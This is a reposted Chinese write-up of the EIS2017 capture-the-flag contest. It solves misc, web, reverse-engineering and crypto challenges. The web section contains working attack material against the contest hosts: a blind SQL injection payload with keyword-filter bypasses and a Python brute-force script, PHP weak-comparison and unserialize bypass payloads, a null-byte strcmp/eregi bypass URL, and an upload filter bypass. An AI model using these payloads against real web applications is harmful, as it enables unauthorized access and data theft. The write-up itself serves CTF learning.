安恒杯EIS2017 writeup

来源:互联网 发布:uuu网络加速官方下载 编辑:程序博客网 时间:2024/06/07 04:55
上星期参加了安恒杯EIS2017实践赛,记录一下。

Misc

签到题

 

扫二维码可得

 

 

隐藏在黑夜里的秘密

 

下载压缩包,打开时提示加密,猜测可能是伪加密,于是用 010editor 把加密位去掉,置为

0。然后解压压缩包,发现里面有个 flag,怀着激动的心情打开一看,结果是这样的:

 

夜已降临之时,

我将自己裹在深邃的黑暗中, 在夜的最深处

期待着光明与无畏

 

显然这是没用的,另一个文件是Treeinblack.bmp,打开是一个文件,图片左边黑乎乎的,于是用图片隐写的工具查看一下,得到flag



Web

 

文件上传

 


直接提交 php 文件:

会被拦截:


 

 

 

 

 

 

 

 

 


Fuzz 发现,< 和 php 会被拦截:

 


猜测后端没有对数组进行过滤,将 content参数改为数组,成功上传:

得到 flag:



PHP 代码审计


 


 

php 动态变量特性。

传入参数args=GLOBALS,显示所有变量,得到flag:


 

 

php trick

 

打开给的链接显示找flag,然后查看 html源码,看到了 index.php的源码

发现使用了extract 函数解析 get 参数,而下面函数要求有 gift 变量,所以 get 要传 gift变量过去

访问 http://202.120.7.221:2333/index.php?gift=ddd之后,出现提示“flag 被加密了 再加密一次就得到 flag 了”这个提示

接着看源码,发现 flag 变量是在 extract 函数之前的,所以可以通过extract 函数覆盖掉 flag 的值,程序接着会使用 file_get_contents 函数,以flag 作为参数,并使用伪协议 php://input 传入 post 的数据。只要使得flag 变量的值和 post 传入的数据一样,即可得到 flag。


比赛方要求的 flag 形式是 EIS{},RVF 显然不是,猜测是凯撒密码,解密得到 flag


 

Login

 

打开题目链接,还是熟悉的界面,还是熟悉的味道。用户名是 admin,尝试了一下发现是 sql 盲注,过滤了select、and、mid、substr 等关键字以及*、/、!、空格等特殊字符。但是单引号可以用,而&&可以绕过 and 的过滤,()可以绕过空格的过滤。


 

F12 审查元素可以得到提示。

 

 


构造语句 uname=admin’%26%26left(pwd,1)=’a’%26%26’1’=’1通过构造中间的判断语句,根据返回结果的不同,可以判断语句是否正确。如果语句正确,则返回“password error!”,如果错误,则返回“no such user!”

 

 

脚本跑一下,得到密码为 fsaoaigafsdfsdubbwouibiaewrawe

import requestsimport stringstring = 'qwertyuiopasdfghjklzxcvbnm' p = ''r=requests.session()print "start...." for i in range(1,36): for j in string:load="admin'&&left(pwd,%d)='%s%s'&&'1'='1" %(i,p,j)#print loadpayload ={'uname':load, 'pwd':123} #print payloadresult                                                                                                                                                         =r.post("http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php",data=payload).text#print resultif "password error!" in result: p=p+jprint pprint "end..."
 

 

 登录得到 flag 为:EIS{SQLI_INJECTIion_blind}


 

 

 

 

不是管理员也能login

 


访问题目链接,随便填写,提示用户名有误。

 

 

 

根据提示到说明与帮助处查看发现一段php 代码,限制条件为用户名的 md5 值等于 0(双等号),根据php 弱类型比较,可以通过传入 md5 值为 0e 开头的字符串绕过,如240610708

 

然后在这个页面 F12 审查元素,可以发现另一段 php 代码,发现是使用了反序列化函数。


同时也利用了 php 的特性,当整数与字符串弱比较(双等号)时,字符串会强制转换成整数

0,只要传进去的参数反序列化后值为整数 0,那么就可以绕过 if 语句中的判断。

Payload:userid=240610708&password=a:2:{s:4:"name";i:0;s:3:"pwd";i:0;}


 

得到 flag 为:EIS{Smi1E_on_YouR_face_And_in_y0ur_heart}

 

 

随机数

 

 

刷新几次,发现值会重复,猜测是:在几个数中随机选择一个作为种子,然后再生成随机数

所以,写个脚本,随便爆破出来一个种子就行了运行环境:ubuntu16.04

<?php$z = 0;for ($x=0; $x<1000; $x++){srand($x);$y = rand(1, 1000);if ($y == 980){$z = $x;}}srand($z);echo rand(1,1000); echo "\n";echo rand(1,1000)-1; echo "\n";echo rand(1,1000)-1; echo "\n";echo rand(1,1000)-1; echo "\n";?>


得到第四个随机数为 233,提交,得到 flag:


 

 

 

快速计算

 

Python 脚本跑一发,脚本如下:



Flag:

 

 

 

PHP是最好的语言

 

访问 http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak

得到源码


 

构 造 foofoo=array('param1'=>'2018abc','param2'=>array(array(array(1),0),0,2,3,4))

 'param1'=>'2018abc',绕过

 


'param2'=>array(array(array(1),0),0,2,3,4)   绕过

 

但是这里进行了反序列化处理,所以我们需要生成序列化字符串

 

 

所以传入

foo=a:2:{s:6:"param1";s:7:"2018abc";s:6:"param2";a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2

;i:3;i:3;i:4;i:4;}}

 

接下来绕过



这里用到的技巧是,array 和 string 进行 strcmp 比较的时候会返回一个 null,%00 可以截断

eregi

 传入fish=123%00&egg[0]=11MyAns11&egg[1][]=1111成功绕过

 payload: http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php?fish=123%00&egg[0]=11MyAns11&egg[1][]=1111&foo=a:2:{s:6:%22param1%22;s:7:%222018abc%22;s:6:%22param2%22;a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2;i:3;i:3;i:4;i:4;}}

 

得到 flag


Reverse

 

IgniteMe

 下载之后用PEiD 检测无壳,用 OD 找特征 Unicode 码找到 Congratulations!直接用 IDA静态分析,进入主函数反编译。


 由此跟进 sub_4011C0 函数。


得到:GONDPHyGjPEKruv{{pj]X@rF,由 strcmp 函数,当 GONDPHyGjPEKruv{{pj]X@rF和v4 相同时返回 0,分析上面的算法写出如下脚本。

# -*- coding:utf-8 -*-byte_4420B0 =[0x0D, 0x13, 0x17, 0x11, 0x2, 0x1, 0x20, 0x1D, 0x0C, 0x2, 0x19, 0x2F, 0x17, 0x2B, 0x24, 0x1F, 0x1E, 0x16, 0x9, 0x0F, 0x15, 0x27, 0x13, 0x26, 0x0A, 0x2F, 0x1E, 0x1A, 0x2D, 0x0C, 0x22,0x4]v4 ="GONDPHyGjPEKruv{{pj]X@rF" for i in range(0, 24):for j in range(65, 123):if ord(v4[i]) == (byte_4420B0[i] ^ ((j ^ 0x55) + 0x48)): if 0x40 < j< 0x5B:    j += 0x20print(chr(j),end="")

 

得到 flag:EIS{wadx_tdgk_aihc_ihkn_pjlm}

 

 

 

ReverseMe

 


下载之后查壳,无壳。OD 载入直接到程序入口。用 OD 中文搜索插件:


 打开 IDA 搜索字符串:congratulations


按 F5 反编译:



 

 

跟进 sub_014A0 函数:

sub_4014A0 很辣眼,三个参数,第一个参数原文,第二个密钥,第三个长度


密文对比的方法,可以看到先循环位移,然后再异或。加密 = 每位 ROL 2 xor  密钥对应的位数。反向推导一下就是 密文 xor 密钥 ROR 2。看的时候要注意这个变量的地址是连续的。

 


用 python 破解这个算法:

 

密文对比的方法,可以看到先循环位移,然后再异或


 

Crypto

 

easy crypto

 

we have key:hello world

看到只有一个 key 猜是对称加密

 

get buf unsigns[256] get buf t[256]

 

2 个 256 长度参数,然后是简单地用key 打乱 s 中的值、之后看到有异或操作基本确定是rc4

直接用 rc4 使用已知的 key 解密

 

# -*- coding: utf-8 -*-def rc4_dec(enc_data, key): j = 0s = range(256)for i in range(256): j=(j+s[i]+ord(key[i%len(key)])) % 256 s[i], s[j] =s[j], s[i]i = j = 0result = []for c in enc_data:i= (i+1) % 256j= (j+s[i]) % 256s[i], s[j] =s[j], s[i] result.append(chr(ord(c)^s[(s[i]+s[j])%256]))return ''.join(result)

flag =rc4_dec(open("enc.txt", "rb").read(), 'hello world') printflag

 

EIS{55a0a84f86a6ad40006f014619577ad3}

原创粉丝点击